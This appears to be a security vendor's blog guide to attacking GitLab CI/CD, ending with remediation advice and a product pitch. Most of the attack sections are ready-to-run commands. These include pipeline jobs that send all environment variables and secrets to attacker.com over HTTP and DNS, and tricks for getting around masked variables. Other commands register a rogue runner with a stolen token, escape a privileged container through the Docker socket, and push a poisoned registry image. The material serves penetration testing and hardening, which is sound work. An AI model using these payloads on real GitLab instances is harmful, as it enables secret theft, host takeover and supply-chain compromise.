GitLab CI/CD Security Testing: Pipeline Injection, Registry Abuse, and Runner Exploitation
GitLab is not just a code repository. It holds your secrets, triggers your deployments, builds your production images, and runs arbitrary code on infrastructure you own. An attacker with even minimal GitLab access — a guest role, a leaked deploy token, a misconfigured runner — can pivot from "read a single repo" to "exfiltrate every secret in every project on the instance." That is why GitLab has become one of the highest-value targets in modern infrastructure assessments.
This guide covers the full attack chain: instance reconnaissance, pipeline injection, CI variable exfiltration, runner exploitation, container registry abuse, and API token harvesting — with practical commands at every step.
Why GitLab CI/CD Is a High-Value Target
Three properties make GitLab uniquely dangerous compared to other internal systems:
- Centralized secret storage. Database credentials, cloud provider keys, Kubernetes service account tokens, and signing certificates are all stored as CI/CD variables — one breach surfaces everything.
- Code execution on infrastructure you control. Runners execute arbitrary shell commands in your environment. Compromising a runner means arbitrary code execution with network access to your internal systems.
- Blast radius multiplies with group inheritance. A secret or runner defined at the group level propagates to every project under that group. A misconfiguration at the top level cascades to hundreds of pipelines.
A CI/CD security assessment on GitLab is therefore part code review, part cloud pentest, and part secrets audit rolled into one engagement.
Phase 1: Reconnaissance
Discovering GitLab Instances
Self-hosted GitLab instances frequently appear on non-standard ports and paths. Start with passive discovery:
# Shodan search for self-hosted GitLab
shodan search 'http.title:"GitLab" org:"target-company"'
# Certificate transparency — GitLab often gets its own subdomain
curl "https://crt.sh/?q=%.example.com&output=json" | jq '.[].name_value' | grep -i git
# DNS brute force common patterns
for sub in git gitlab gitlab.internal code vcs scm; do
host $sub.example.com 2>/dev/null | grep "has address"
done
Version Fingerprinting
GitLab version is exposed in multiple places. Knowing the version narrows the CVE surface immediately:
# Unauthenticated version disclosure
curl -s https://gitlab.example.com/ | grep 'content="GitLab'
# Returns: <meta content="GitLab 16.11.2" ...>
# API endpoint — works without auth on many instances
curl -s https://gitlab.example.com/api/v4/version
# {"version":"16.11.2","revision":"abc12345"}
# Help page metadata
curl -s https://gitlab.example.com/help | grep -i "gitlab version"
Notable versions to prioritize: GitLab < 16.0 (CVE-2023-7028, password reset via email header injection), GitLab < 15.3.1 (CVE-2022-2992, authenticated RCE), GitLab < 14.10.5 (CVE-2022-1162, hardcoded password for OmniAuth).
API Enumeration Without Credentials
GitLab's REST API exposes significant data even unauthenticated, depending on instance visibility settings:
# Enumerate public projects
curl -s "https://gitlab.example.com/api/v4/projects?visibility=public&per_page=100" \
| jq '.[] | {id: .id, name: .name, http_url: .http_url_to_repo}'
# Enumerate public groups
curl -s "https://gitlab.example.com/api/v4/groups?visibility=public" \
| jq '.[] | {id: .id, name: .name, full_path: .full_path}'
# Check if user enumeration is possible
curl -s "https://gitlab.example.com/api/v4/users?username=admin"
# List public pipelines on a known project
curl -s "https://gitlab.example.com/api/v4/projects/42/pipelines" \
| jq '.[] | {id: .id, status: .status, ref: .ref}'
Pay attention to internal visibility: GitLab distinguishes between public (world-readable), internal (any authenticated user), and private. On instances with registration enabled, creating a free account instantly grants access to all internal projects.
Phase 2: Pipeline Injection Attacks
.gitlab-ci.yml Manipulation
If you have write access to any branch — even a fork — you can modify the pipeline definition. The goal is to inject a job that exfiltrates environment variables or establishes a reverse shell on the runner:
# Malicious .gitlab-ci.yml job — exfiltrate all CI variables
exfil_job:
stage: test
script:
- env | base64 | curl -X POST https://attacker.com/collect -d @-
only:
- branches
This works because every CI variable — including those marked "protected" — is injected into the environment of jobs running on matching protected branches. The attacker only needs to trigger the pipeline on a protected branch to access protected variables.
Merge Request Pipeline Attacks
GitLab allows pipelines to run on merge requests from forked repositories. If the target project has pipelines for merge requests enabled and does not restrict fork pipelines, an external contributor can inject pipeline jobs:
# Fork the target repo, add malicious .gitlab-ci.yml, open MR
# The pipeline runs on the TARGET's runners with the TARGET's non-protected variables
# Check if fork pipelines are allowed via API
curl -s "https://gitlab.example.com/api/v4/projects/42" \
| jq '.only_allow_merge_if_pipeline_succeeds, .fork_network_members_count'
The critical distinction: protected variables are not exposed to fork pipelines by default, but unprotected variables are. In many real environments, teams store credentials in unprotected variables "temporarily" and never move them — those are exposed to anyone who can open a merge request.
Protected Branch Bypass
Protected branches are the mechanism that guards protected variables. When the protection is misconfigured, the entire variable tier collapses:
# Enumerate branch protection via API (requires read access)
curl -s -H "PRIVATE-TOKEN: $TOKEN" \
"https://gitlab.example.com/api/v4/projects/42/protected_branches" \
| jq '.[] | {name: .name, push_access_levels: .push_access_levels}'
# If "Developers can push" is enabled on a protected branch,
# any Developer-role user can push directly — triggering pipelines
# with access to ALL protected variables for that branch
Look for protected branch rules where push_access_levels[].access_level is 30 (Developer) rather than 40 (Maintainer). This is the most common misconfiguration found in real GitLab audits.
Phase 3: CI/CD Variable and Secret Exposure
Environment Variable Exfiltration
Once inside a pipeline, every secret injected as a CI variable is a plain environment variable accessible via env, printenv, or direct variable expansion. The standard exfiltration payload:
# In .gitlab-ci.yml — dump everything via DNS (avoids firewall blocks)
leak_via_dns:
script:
- for var in $(env | grep -E 'TOKEN|KEY|SECRET|PASSWORD|CREDENTIAL' | cut -d= -f1); do
val=$(printenv $var | base64 -w0 | tr '+/' '-_' | tr -d '=');
host ${val:0:60}.attacker.com;
done
Masked Variable Bypasses
GitLab's "masked" variable setting redacts the value in job logs — but only when the exact value appears as a contiguous string. Several bypass techniques exist:
# Bypass 1: Print the value character by character
- echo $SECRET_TOKEN | fold -w1
# Bypass 2: Base64 encode first (masked check runs on raw value)
- echo $SECRET_TOKEN | base64
# Bypass 3: Write to a file, then cat in chunks
- echo $SECRET_TOKEN > /tmp/s && dd if=/tmp/s bs=1 count=20
- dd if=/tmp/s bs=1 skip=20 count=20
# Bypass 4: Exfiltrate via HTTP to attacker-controlled endpoint
- curl -d "secret=$SECRET_TOKEN" https://attacker.com/recv
The bottom line: GitLab masking is a log redaction feature, not a security control. Any code running inside a job can read and exfiltrate the raw value. Treat masked variables exactly as you treat unmasked ones from a secrets management perspective.
CI_JOB_TOKEN Abuse
CI_JOB_TOKEN is automatically injected into every pipeline job. It grants scoped access to the GitLab API and can be used to clone repositories, pull packages, and interact with the registry. Its scope has expanded significantly across GitLab versions:
# What CI_JOB_TOKEN can do by default
# Clone any project that has "CI job token" allowed in its token access policy
git clone https://gitlab-ci-token:$CI_JOB_TOKEN@gitlab.example.com/other-group/private-repo.git
# List accessible projects via the job token
curl -s -H "JOB-TOKEN: $CI_JOB_TOKEN" \
"https://gitlab.example.com/api/v4/projects?membership=true" \
| jq '.[].name'
# Read package registry artifacts from other projects
curl -s -H "JOB-TOKEN: $CI_JOB_TOKEN" \
"https://gitlab.example.com/api/v4/projects/99/packages"
Prior to GitLab 15.9, CI_JOB_TOKEN had access to the entire GitLab instance's internal projects. Post-15.9, access is controlled per-project via the token access allowlist — but many organizations never configured the allowlist, leaving the permissive default in place.
Phase 4: GitLab Runner Exploitation
Runner Architecture and Attack Surface
Runners come in three scopes: instance-wide (admin-configured, available to all projects), group (available to all projects in a group), and project-specific. Instance-wide and group runners are the high-value targets because a successful attack chains across every project using them.
| Runner Type | Blast Radius | Requires |
|---|---|---|
| Instance-wide | All projects on the instance | Admin access or runner token theft |
| Group runner | All projects in the group | Group Owner or runner token theft |
| Project runner | Single project | Project Maintainer or runner token theft |
Runner Token Theft
Runner registration tokens are the crown jewel. Leaking one allows registering a rogue runner that intercepts jobs. Common sources:
# Search source code for runner tokens (format: GR1348941xxxx or rvp_ prefix)
trufflehog git https://gitlab.example.com/target/repo --only-verified
# If you have admin access, list all registered runners
curl -s -H "PRIVATE-TOKEN: $ADMIN_TOKEN" \
"https://gitlab.example.com/api/v4/runners/all" \
| jq '.[] | {id: .id, description: .description, status: .status, is_shared: .is_shared}'
# Steal runner registration token from project settings page
# Settings > CI/CD > Runners — the registration token appears here for Maintainers
# With a registration token, register a rogue runner
gitlab-runner register \
--url https://gitlab.example.com \
--registration-token STOLEN_TOKEN \
--executor docker \
--docker-image alpine \
--description "rogue-runner" \
--tag-list "" \
--run-untagged true
Privileged Container Escape
Runners configured to run in privileged Docker mode are an immediate container escape. Check the runner configuration:
# In /etc/gitlab-runner/config.toml on the runner host
# The dangerous configuration:
[runners.docker]
privileged = true
volumes = ["/var/run/docker.sock:/var/run/docker.sock"]
With privileged = true, any job running on that runner has full control of the host kernel. The escape is straightforward:
# Inside a privileged container — mount the host filesystem
mkdir /host
mount /dev/sda1 /host
# Or via the Docker socket if mounted
docker run -v /:/host -it alpine chroot /host sh
# Read runner config from host filesystem — contains runner tokens
cat /host/etc/gitlab-runner/config.toml
Once on the runner host, you have access to all cached Docker layers (which may contain secrets baked into images), the runner's registration token, and network access to anything reachable from the runner's subnet — which often includes internal Kubernetes clusters, RDS instances, and other production infrastructure.
Phase 5: Container Registry Abuse
Discovering and Accessing the Registry
GitLab's built-in container registry runs on the same domain or a registry subdomain. If you have valid GitLab credentials, registry access is automatic:
# Log in with GitLab credentials
docker login registry.gitlab.example.com \
-u your-username \
-p your-password-or-token
# Or use a CI job token from inside a pipeline
docker login -u gitlab-ci-token -p $CI_JOB_TOKEN $CI_REGISTRY
# List available images in a project
curl -s -H "PRIVATE-TOKEN: $TOKEN" \
"https://gitlab.example.com/api/v4/projects/42/registry/repositories" \
| jq '.[] | {id: .id, name: .name, tags_count: .tags_count}'
Credential Extraction from Images
Docker images are layered filesystems. Secrets accidentally written into image layers persist even after deletion commands in later layers. Pull and inspect:
# Pull the image and inspect all layers
docker pull registry.gitlab.example.com/target/app:latest
docker history registry.gitlab.example.com/target/app:latest --no-trunc
# Extract all layers and grep for secrets
docker save registry.gitlab.example.com/target/app:latest | tar -xO \
| tar -x --wildcards '*/layer.tar' -O \
| tar -t 2>/dev/null | grep -E '\.env|config\.json|credentials'
# Run trufflehog against the full image
trufflehog docker --image registry.gitlab.example.com/target/app:latest
Extracting Docker Credentials from config.json
The Docker daemon stores registry credentials in ~/.docker/config.json. If a CI job ever performed a docker login without cleaning up, the credentials persist in the job artifact or cached runner workspace:
# Check artifacts for leaked config.json
curl -s -H "PRIVATE-TOKEN: $TOKEN" \
"https://gitlab.example.com/api/v4/projects/42/jobs/1337/artifacts" \
--output artifacts.zip
unzip -o artifacts.zip
find . -name "config.json" -exec cat {} \;
# Decode base64-encoded auth field
cat ~/.docker/config.json | jq -r '.auths."registry.gitlab.example.com".auth' | base64 -d
# Returns: username:password
Image Poisoning
If you can push to the registry, you can replace a legitimate base image with a backdoored version. When any downstream pipeline pulls :latest, it runs your image:
# Tag a backdoored image as the legitimate base
docker tag attacker/malicious registry.gitlab.example.com/target/base-image:latest
docker push registry.gitlab.example.com/target/base-image:latest
# Any pipeline using:
# image: registry.gitlab.example.com/target/base-image:latest
# now runs under your control
Phase 6: GitLab API Abuse
Token Types and Their Scope
| Token Type | Scope | Where to Find Them |
|---|---|---|
| Personal Access Token (PAT) | All resources the user can access | Source code, CI variables, git history |
| Project Access Token | Single project only | Project settings, .env files, CI variables |
| Group Access Token | All projects in a group | Group-level CI variables, Terraform state |
| Deploy Token | Read-only: clone + registry pull | Kubernetes secrets, deploy scripts |
| Runner Registration Token | Register new runners | Runner config, Settings > CI/CD page |
Enumerating Access With a Found Token
# Identify the token owner and scopes
curl -s -H "PRIVATE-TOKEN: $TOKEN" \
"https://gitlab.example.com/api/v4/user" \
| jq '{id: .id, username: .username, is_admin: .is_admin}'
# List all groups the token can access
curl -s -H "PRIVATE-TOKEN: $TOKEN" \
"https://gitlab.example.com/api/v4/groups?all_available=true&per_page=100" \
| jq '.[] | {id: .id, name: .name, full_path: .full_path}'
# List all CI/CD variables the token can read
# (requires Maintainer+ on the project)
curl -s -H "PRIVATE-TOKEN: $TOKEN" \
"https://gitlab.example.com/api/v4/projects/42/variables" \
| jq '.[] | {key: .key, value: .value, protected: .protected, masked: .masked}'
# Check if token has admin scope
curl -s -H "PRIVATE-TOKEN: $TOKEN" \
"https://gitlab.example.com/api/v4/admin/runners" | head -1
Service Account Enumeration
GitLab 16.1+ introduced service accounts — bot users that hold long-lived tokens for automation. They are frequently granted broad group-level access and their tokens end up in Kubernetes secrets, Terraform state files, and cloud parameter stores:
# List service accounts on a group (requires Owner)
curl -s -H "PRIVATE-TOKEN: $TOKEN" \
"https://gitlab.example.com/api/v4/groups/14/service_accounts" \
| jq '.[] | {id: .id, username: .username}'
# List PATs for a service account
curl -s -H "PRIVATE-TOKEN: $TOKEN" \
"https://gitlab.example.com/api/v4/users/99/personal_access_tokens?state=active" \
| jq '.[] | {id: .id, name: .name, scopes: .scopes, expires_at: .expires_at}'
Common Vulnerabilities: What to Always Check
Unprotected CI Variables in Job Logs
The single most common finding in GitLab assessments: a CI variable is printed in a job log either by a debugging statement left in the pipeline or by a command that expands variables in its output. GitLab stores job logs indefinitely, and they're accessible to anyone with Guest access to the project:
# Search job logs for common secret patterns using glab
glab auth login --hostname gitlab.example.com --token $TOKEN
glab ci list --project target-group/target-project
# Download job log via API
curl -s -H "PRIVATE-TOKEN: $TOKEN" \
"https://gitlab.example.com/api/v4/projects/42/jobs/1337/trace" \
| grep -E 'token|secret|key|password|credential' -i
Debug Job Output
GitLab CI supports a CI_DEBUG_TRACE variable that enables bash set -x mode — printing every command and its expanded arguments to the log. When this is enabled on a job handling secrets, every variable expansion is visible in the trace:
# This variable causes complete secret exposure in logs
variables:
CI_DEBUG_TRACE: "true" # Never enable in production pipelines
Artifact Exposure
Pipeline artifacts are accessible to all project members by default. Files written during a build — compiled binaries, test reports, generated configs — often include secrets if the build process lacks discipline:
# List artifacts for a job
curl -s -H "PRIVATE-TOKEN: $TOKEN" \
"https://gitlab.example.com/api/v4/projects/42/jobs/1337/artifacts"
# Download and scan for secrets
curl -L -H "PRIVATE-TOKEN: $TOKEN" \
"https://gitlab.example.com/api/v4/projects/42/jobs/1337/artifacts" \
-o artifacts.zip && unzip -q artifacts.zip
trufflehog filesystem . --only-verified
Tools for GitLab Security Testing
- glab — official GitLab CLI. Authenticate once, then enumerate projects, pipelines, variables, and runners without writing raw curl calls.
glab repo clone,glab ci trace,glab variable list. - trufflehog — secret scanning against git history, Docker images, and filesystems. Run
trufflehog git https://gitlab.example.com/target/repoagainst any accessible repo;--only-verifiedreduces false positives. - curl + jq — direct API access is often faster than any dedicated tool for enumeration. The GitLab REST API is well-documented and extremely consistent.
- gitleaks — alternative to trufflehog for git history scanning, with a configurable ruleset suited for custom secret formats your organization uses internally.
- gitlab-ci-local — run
.gitlab-ci.ymllocally to test pipeline injection payloads before committing them to a live repo.
Remediation
Pipeline Injection
- Require pipeline approval for merge requests from fork repositories (Settings > CI/CD > Pipelines for merge requests).
- Set protected branch rules to Maintainers only for push access. Developers should never be able to push directly to protected branches.
- Enable pipeline security policies (GitLab 15.1+) to enforce job-level restrictions across all projects in a group.
Variable Security
- Mark all secrets as Protected and Masked. Protected restricts exposure to protected branches/tags; Masked redacts the value from logs.
- Use an external secrets manager (HashiCorp Vault, AWS Secrets Manager) and fetch secrets at runtime via
vault kv getinside the job rather than storing them as CI variables. - Rotate all CI/CD variables quarterly and immediately on any runner compromise. Audit the variable list — leftover credentials from decommissioned integrations are common.
- Never enable
CI_DEBUG_TRACEin production or on pipelines handling secrets.
Runner Security
- Never run runners with
privileged = trueunless absolutely required. If privileged mode is necessary, isolate those runners to specific projects via tags and never share them instance-wide. - Do not mount the Docker socket (
/var/run/docker.sock) into runner containers. Use a rootless Docker daemon or Kaniko for in-pipeline image builds. - Rotate runner registration tokens after any suspected exposure. Delete and re-register runners rather than relying on token rotation alone if a runner host may be compromised.
- Run runners on isolated network segments with egress filtering. Runners should only reach the GitLab instance and required build dependencies — not internal production infrastructure.
Registry and Token Security
- Set registry image expiry policies to automatically delete untagged images older than 30 days, reducing the attack surface of stale layers containing secrets.
- Prefer short-lived deploy tokens over personal access tokens for automation. Set explicit expiry dates on all PATs and project access tokens.
- Restrict
CI_JOB_TOKENaccess: in each project, configure the token access allowlist (Settings > CI/CD > Token Access) to list only the projects that legitimately need access. - Enable GitLab's built-in secret detection scanner — it runs as a pipeline job and will catch common patterns before they are committed.
Ironimo's automated scanner tests your GitLab-connected applications for exposed secrets, misconfigured CI pipelines, and vulnerable endpoints — the same checks a pentester runs, automated and continuous.
Get early access at Start free scan